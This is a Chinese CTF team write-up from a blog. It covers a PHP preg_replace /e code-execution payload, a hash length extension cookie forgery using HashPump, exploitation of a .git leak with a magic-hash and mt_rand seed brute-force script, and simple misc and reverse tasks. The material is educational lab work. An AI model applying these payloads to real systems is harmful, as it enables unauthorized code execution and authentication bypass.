第十一周小组WriteUp


第十一周小组WriteUp

Web

1.Preg(200)

<?php 
error_reporting(0); 
require_once("flag.php"); 
if(!$passwd) 
{ 
  $passwd=$_POST["passwd"]; 
} 
if(!$lockedtxt) 
{ 
  $lockedtxt=$_POST["lockedtxt"]; 
} 
function flag($var) 
{ 
  echo $var; 
} 
if($key) 
{ 
  $unlockedtxt=preg_replace($passwd,$key,$lockedtxt); 
} 
if($unlockedtxt===$flag) 
{ 
  flag("The Correct: "); 
  flag($flag); 
} 

show_source("index.php"); 
// key=flag(\\1) 
 ?> 

​ preg_replace()函数的漏洞导致代码执行。

前提:

01:第一个参数需要e标识符,有了它可以执行第二个参数的命令

02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令

​ 这个题第二个参数不是可以传的,是预先设定好的,但是\\1为第一参数里正则表达试匹配后的值,还是执行了第四个参数的语句。

paload:

passwd=/1(.*?)1/e&lockedtxt=1$flag1

passwd=/(.*)/e&lockedtxt=$flag都行,不唯一

参考:

http://www.php.net/manual/zh/function.preg-replace.php

http://www.2cto.com/article/201212/178024.html

http://simeon.blog.51cto.com/18680/9895/

https://www.waitalone.cn/phpmyadmin-preg_replace-rce.html

2.Hash(200)


<h1>hello ctfer!<h1><!--<?php
error_reporting(0);
$flag = "xxxxxxxx";
$secret = "xxxxxxxxxxxxxxxxxxxxxxxxx"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($_COOKIE["getmein"] == md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

echo "<h1>hello ctfer!<h1>";
-->

哈希长度扩展攻击。

上工具。

mark

Input Si gnature:填名为sample-hash的cookie的值,题目已给出。

Input Data:填admin

$secret是密文,长度为15,如果再算上后面第一个admin,长度就是20
而数据是admin
签名(哈希值)是be7413992c7e8541aa530688ddbbcc00

Input Data to Add:随意

生成了:

b1700910c22d838ea2615091520a13f3
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00qwe

第一行是新的哈希值,将其设置为新cookie(getmein)的值,第二行的数据将\x换成%在post提交。

mark

资料:

http://www.cnblogs.com/pcat/p/5478509.html

https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks

https://github.com/bwall/HashPump(所用的工具HashPump)

3.Coding(300)

.git泄露

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

mark

关键代码

<?php
error_reporting(0);
include "flag.php";

$admin_user = "pr0_adm1n";
$admin_pw = clean_hash("0e408306536730731920197920342119");

function clean_hash($hash) {
    return preg_replace("/[^0-9a-f]/","",$hash);
}

function myhash($str) {
    return clean_hash(md5(md5($str) . "SALT"));
}

function create_password($pw_length =  10)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++)
{
$randpwd .= chr(mt_rand(33, 126));
}
return $randpwd;
}

?>

写脚本(注意时间)

<?php
$user="pr0_adm1n";
for($i=0; $i<1000000000; $i++) {
    $str = $i;
    hash = md5(md5($str) . "SALT");
    echo $hash."\n";
    if(preg_match("/^0e[0-9]+$/", $hash)) {
        echo $str." : ".$hash."\n";
        break;
}
            //62778807 : 0e774261293712168181959463563504
}
$password=$str;
function create_password($pw_length = 10)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++)
{
$randpwd .= chr(mt_rand(33, 126));
}
return $randpwd;
}
function send_post($url, $post_data) {
 $postdata = http_build_query($post_data);
    $options = array(
        'http' => array(
        'method' => 'POST',
        'header' => 'Content-type:application/x-www-form-urlencoded',
        'content' => $postdata,
        'timeout' => 15 * 60 // 超时时间(单位 :s )
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context)."\n";
return $result;
}
for($j=time()-20;$j<time()+20;$j++)
{
    mt_srand($j);
    $pwd=create_password();
    echo "pwd ".$pwd."\n";
    echo "user " .$user."\n";
    echo "password ".$password."\n";
    $post_data = array(
        'user' => $user,
        'password' => $password,
        'pwd'=>$pwd
);
$content=send_post('http://192.168.64.133/ctf/baopo/',$post_data);
if(strpos($content,'SKCTF')>-1)
{
echo $content;
}
}

Misc

1.zip??(100)

zip伪加密。

mark

2.base的n次方(150)

题目给出加密代码:

a = "flag{}"
for i in range (1,30):
    b = random.randint(1 , 3)
    if b ==1:
        a= base64.b16encode(a)
    elif b==2:
        a= base64.b64encode(a)
    else:
        a= base64.b32encode(a)
s= open("flagencode.txt","w")
s.write(a)
print "done!!!"

flagencode.txt

mark

写脚本(py2):

import base64
b64 = "abcdefghijklmnopqrstuvwxyz"
b32 = "GHIJKLMOPQSTUVWXYZ"
#s=open("flagencode.txt","r")
flag=open("flagencode.txt").read()
for i in range (1,30):
    base=0
    for c in b64:
        if(c in flag):
            base=int(64)
            break
    if (base==64):
        flag=base64.b64decode(flag)
        base=0
        continue
    for c in b32:
        if(c in flag):
            base=int(32)
            break
    if (base==32):
        flag=base64.b32decode(flag)
        base=0
        continue
    flag=base64.b16decode(flag)
print(flag)

3.shark

下载一个流量包,shark打开。

追踪HTTP流看到flag.zip的get请求,导出来是加密的flag.txt,密码在HTTP头中,base64解密就是压缩包的密码。

mark

Reverse

1.多试几次(100)

拖进IDA.

进字符S看看发现,S的值为设定好了的为SDUST,进ggg函数看,是把s的每一个字符和0x20异或赋给s1,和a比较,输出s1.


文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
  目录